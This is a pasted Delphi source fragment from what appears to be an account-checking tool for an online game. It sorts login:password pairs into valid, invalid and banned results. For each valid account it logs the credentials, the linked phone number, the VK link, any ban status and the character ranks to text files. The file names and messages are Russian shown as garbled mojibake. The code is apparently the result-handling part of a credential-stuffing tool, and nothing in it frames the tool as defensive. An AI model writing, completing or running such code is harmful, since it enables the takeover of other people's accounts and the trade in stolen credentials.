- Form1.GoodLabel.Caption:= IntToStr(StrToInt(Form1.GoodLabel.Caption) + 1);
- Form1.sLabel3.Caption:= IntToStr(StrToInt(Form1.sLabel3.Caption) - 1);
- case WorkType of
- 0:
- begin
- ListItem:= Form1.sListView1.Items.Add;
- ListItem.Caption:= Login + ':' + Password;
- ListItem.SubItems.Add(SMS);
- ListItem.SubItems.Add(VK);
- ListItem.SubItems.Add('ApiMode');
- ListItem.SubItems.Add('Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang +
- 'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang +
- 'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
- AppendStringToFile('/Õîðîøèå.txt', '');
- AppendStringToFile('/Õîðîøèå.txt', 'Äàííûå äëÿ âõîäà - ' + Login + ':' + Password);
- AppendStringToFile('/Õîðîøèå.txt', 'Ïðèâÿçêà (íîìåð) - ' + SMS);
- AppendStringToFile('/Õîðîøèå.txt', 'Ïðèâÿçêà (VK) - ' + VK);
- AppendStringToFile('/Õîðîøèå.txt', 'Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang);
- AppendStringToFile('/Õîðîøèå.txt', 'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang);
- AppendStringToFile('/Õîðîøèå.txt', 'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
- end;
- 1:
- begin
- ListItem:= Form1.sListView1.Items.Add;
- ListItem.Caption:= Login + ':' + Password;
- ListItem.SubItems.Add('SiteMode');
- ListItem.SubItems.Add('SiteMode');
- ListItem.SubItems.Add(Ban);
- ListItem.SubItems.Add('Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang +
- 'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang +
- 'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
- AppendStringToFile('/Õîðîøèå.txt', '');
- AppendStringToFile('/Õîðîøèå.txt', 'Äàííûå äëÿ âõîäà - ' + Login + ':' + Password);
- AppendStringToFile('/Õîðîøèå.txt', 'Áàí - ' + Ban);
- AppendStringToFile('/Õîðîøèå.txt', 'Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang);
- AppendStringToFile('/Õîðîøèå.txt', 'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang);
- AppendStringToFile('/Õîðîøèå.txt', 'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
- end;
- end;
- RemainsList.Delete(0);
- end;
- 2: // Bad
- begin
- Form1.sGauge1.Progress:= Form1.sGauge1.Progress + 1;
- Form1.sLabel6.Caption:= IntToStr(StrToInt(Form1.sLabel6.Caption) + 1);
- Form1.BadLabel.Caption:= IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
- Form1.sLabel3.Caption:= IntToStr(StrToInt(Form1.sLabel3.Caption) - 1);
- AppendStringToFile('/Ïëîõèå.txt', Login + ':' + Password);
- RemainsList.Delete(0);
- end;
- 3: // Banned
- begin
- Form1.sGauge1.Progress:= Form1.sGauge1.Progress + 1;
- Form1.sLabel6.Caption:= IntToStr(StrToInt(Form1.sLabel6.Caption) + 1);
- Form1.BadLabel.Caption:= IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
- Form1.sLabel3.Caption:= IntToStr(StrToInt(Form1.sLabel3.Caption) - 1);
- AppendStringToFile('/Çàáëîêèðîâàííûå.txt', Login + ':' + Password);
- RemainsList.Delete(0);
- end;
- end;
- LeaveCriticalSection(CriticalSectionSync);
- end;
- procedure FThread.EndWork;
- begin
- case MessageDlg('Ðàáîòà çàâåðøåíà!Õîòèòå î÷èñòèòü êîìïîíåíòû?', mtConfirmation, [mbYes, mbNo], 0) of
- mrYes:
- begin
- CleanButtonProc;
- end;
- mrNo:
- begin
- // ret
- end;
- end;
- end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement